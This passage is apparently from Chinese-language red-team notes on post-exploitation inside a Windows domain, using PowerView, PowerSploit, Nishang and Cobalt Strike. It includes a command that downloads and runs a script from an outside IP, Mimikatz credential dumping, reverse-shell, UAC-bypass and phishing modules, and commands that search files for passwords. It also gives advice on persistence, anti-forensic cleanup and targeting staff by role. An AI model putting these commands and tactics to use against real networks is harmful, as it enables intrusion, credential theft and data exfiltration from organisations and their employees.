‐d domain:指定从中提取主机列表的域。如果没有指定,则使用当前域。
‐g group:指定用户搜寻的组名。如果没有指定,则使用 Domain Admins。
‐c:检查对已找到共享的访问权限。
NSE脚本
如果存在域账户或者本地账户就可以使用Nmap的smb-enum-sessions.nes引擎获取远程机器的登录会话(不需要管理员权限)
(需要搭建隧道,远程服务器)
smb‐enum‐domain:对域控制器进行信息收集,可以获取主机的信息、用户、可使用密码策略的用户等
smb‐enum‐users:在进行域渗透测试时,如果获得了域内某台主机的权限,无法获取更多的域用户信息,就可以借助这
个脚本对域控制器进行扫描
smb‐enum‐shares:遍历远程主机的共享目录
smb‐enum‐processes:对主机的系统进行遍历。通过这些信息,可以知道目标主机上正在运行哪些软件。
smb‐enum‐sessions:获取域内主机的用户登录会话,查看当前是否有用户登录。
smb‐os‐discovery:收集目标主机的操作系统、计算机名、域名域林名称、NetBIOS机器名、NetBIOS域名,工作组、
PowerView脚本
PowerView 脚本中包含了一系列的 powershell 脚本,信息收集相关的脚本有 Invoke-StealthUserHunter、Invoke-UserHunter 等,
在system权限下运行,起目录在system32下,所以加载桌面文件得带绝对路径
shell powershell.exe -exec bypass -command "&{import-module C:\Users\Administrator\Desktop\powerview.ps1;get-netuser}"
shell powershell.exe -exec bypass -command "&{import-module C:\Users\Administrator\Desktop\powerview.ps1;get-netuser}"
导入模块
import-module .\PowerView.ps1
运行函数(见powerview的命令)
Powershell基础
powershell有四个版本:1.0,2.0,3.0,4.0
管道和重定向
- 例如ls
ls | sort -descending name | format-table name,mode
- > 为覆盖, >> 为追加
执行外部命令
Powershell能执行CMD一样的命令
例如 ipconfig、netstat、cmd
执行内部命令
列举几个内部命令:
Powershell信息收集
PowerSploit
PowerSploit是GitHub上面的一个安全项目,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察、权限提升、权限维持。
Powershell的优点:
1.代码运行在内存中可以不去接触磁盘
2.从另一个系统中下载代码并执行
3.很多安全产品并不能监测到powershell的活动
4.cmd.exe通常被阻止运行,但是powershell不会
AntivirusBypass:发现杀毒软件的查杀特征。
CodeExecution:在目标主机上执行代码。
Exfiltration:目标主机上的信息搜集工具。
Mayhem:蓝屏等破坏性脚本。
Persistence:后面脚本(持久性控制)。
Recon:以目标主机为跳板进行内网信息侦察。
ScriptModification:在目标主机上创建或修改脚本。
三种使用方式:
本地执行
shell powershell.exe -exec bypass -command "& { import-module C:\Users\Administrator\Desktop\PowerView.ps1:Get-NetShare}"
导入模块
Import-Module .\PowerSploit\PowerSploit.psd1
Import-Module .\PowerSploit\AntivirusBypass\AntivirusBypass.psd1
获取命令
Get-Command -Module AntivirusBypass
CommandType Name Version Source
----------- ---- ------- ------
Function Find-AVSignature 3.0.0.0 AntivirusBypass
执行命令
Find-AVSignature
远程执行
python 开启http 服务 python -m http.server 8080
shell powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://118.178.134.226:8080/PowerView.ps1'); import-module .\PowerView.ps1;Get-NetShare
CS自带命令
beacon> powershell-import Check-VM.ps1//导入各种powershell脚本
beacon> powershell Check-VM //执行脚本命令
Get-NetDomain | 获取当前用户所在的域名称 |
Get-NetUser | 返回所有用户详细信息 |
Get-NetDomainController | 获取所有域控制器 |
Get-NetComputer | 获取所有域内机器详细信息 |
Get-NetOU | 获取域中OU信息 |
Get-NetGroup | 获取所有域内组和组成员信息 |
Get-NetFileServer | 根据SPN获取当前域使用的文件服务器 |
Get-NetShare | 获取当前域内所有网络共享 |
Get-NetSession | 获取在指定服务器存在的Session信息 |
Get-NetRDPSession | 获取在指定服务器存在的远程连接信息 |
Get-NetProcess | 获取远程主机的进程信息 |
Get-UserEvent | 获取指定用户日志信息 |
Get-ADObject | 获取活动目录的对象信息 |
Get-NetGPO | 获取域所有组策略对象 |
Get-DomainPolicy | 获取域默认或域控制器策略 |
Invoke-UserHunter | 搜索网络中域管理员正在使用的主机 |
Invoke-ProcessHunter | 查找域内所有机器进程用于找到某特定用户 |
Invoke-UserEventHunter | 根据用户日志获取某域用户登陆过哪些域机器 |
Nishang
本地执行
查看可用模块
shell powershell Import-Module .\nishang\nishang.psm1;Get-Command -Module nishang
遇到报错
警告:
模块“nishang”中的某些导入命令的名称包含未批准的动词,这些动词可能导致这些命令名不易被发现。若要查找具有未批准的动词的
命令,请使用 Verbose 参数再次运行 Import-Module 命令。有关批准的动词列表,请键入 Get-Verb。
警告: 有些导入的命令名包含一个或多个以下受限字符: # , ( ) {{ }} [ ] & - / \ $ ^ ; : " ' < > | ? @ ` * % + = ~
解决方案(在powershell内)
import-module -DisableNameChecking .\nishang\nishang.psm1
在CS中运行powershell的命令必须一次性执行完,不能分为两次
并且要在shell里面进入powershell才行
例如:下列表示导入nishang.psm1,并查看有哪些模块
shell powershell Import-Module .\nishang\nishang.psm1;Get-Command -Module nishang
如果变成:下面就会无法执行
shell powershell Import-Module .\nishang\nishang.psm1
powershell Get-Command -Module nishang
如果执行check-vm就可以
shell powershell Import-Module .\nishang\nishang.psm1;check-vm
或者shell powershell Import-Module .\nishang\gather\check-vm.ps1;check-vm
抓取密钥
shell powershell Import-Module .\nishang\gather\invoke-mimikatz.ps1;invoke-mimikatz
Check-VM 检测该主机是不是虚拟机
Invoke-CredentialsPhish 欺骗用户,让用户输入密码
Get-WLAN-Keys wifi 信息
Invoke-Mimikatz 抓密码
Get-PassHashes 获取hash
Get-PassHints 获取用户的密码提示信息
Invoke-PowerShellTcp 反弹shell
Invoke-PsUACme 绕过UAC
Remove-Update 删除补丁
Get-Information 本机信息
快速定位计算机中敏感数据
内网的核心敏感数据,不仅包括数据库、电子邮件,还包括个人数据及组织的业务数据、技术数据等。可以说,价值较高的数据基本都在内网中。
资料、数据、文件的定位流程:
定位内部人事组织结构
在内部人事组织结构中寻找需要监视的人员
定位相关人员的机器
视相关人员存放文档的位置
列出存放文档的服务器的目录
重点核心业务机器
高级管理人员 系统管理人员 财务/人事/业务人员的个人计算机
产品管理系统服务器
办公系统服务器
财务应用系统服务器
核心产品源码服务器(SVN/GIT服务器)
数据库服务器
文件服务器,
共享服务器
电子邮件服务器
网站监控系统服务器
信息安全监控服务器
生产工厂服务器
敏感信息和敏感文件
站点源码备份文件,
数据库备份文件等等
游览器保存的密码和游览器的cookie
其他用户会话,
3389和ipc$连接记录,
回收站中的信息等等
Windows的无线密码
网络内部的各种账号密码,
包含电子邮箱,V**,FTP等等
在内网中,我们一定要知道自己拿下的机器的人员的职位(职位高的人在内网中权限也高,计算机中的敏感信息也多,还有一种就是特殊职位的人员,例如上面说的,一般都有一些与职位相关的敏感信息。)还有就是拿下一台机器后要先维权,权限稳了再收集信息,信息收集一定要全面仔细,信息收集完了再搞内网。往目标主机中传工具用完就删。翻文件的话,可以使用一些搜索命令来快速寻找。
1.指定目录下搜集各类敏感文件
dir /a /s /b d:\"*.txt"
dir /a /s /b C:\"*.xlsx"
dir /a /s /b d:\"*.md"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.pdf"
dir /a /s /b d:\"*.docx"
dir /a /s /b d:\"*.doc"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*bak*"
dir /a /s /b d:\"*pwd*"
dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*login*"
dir /a /s /b d:\"*user*"
2.指定目录下的文件中搜集各种账号密码
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak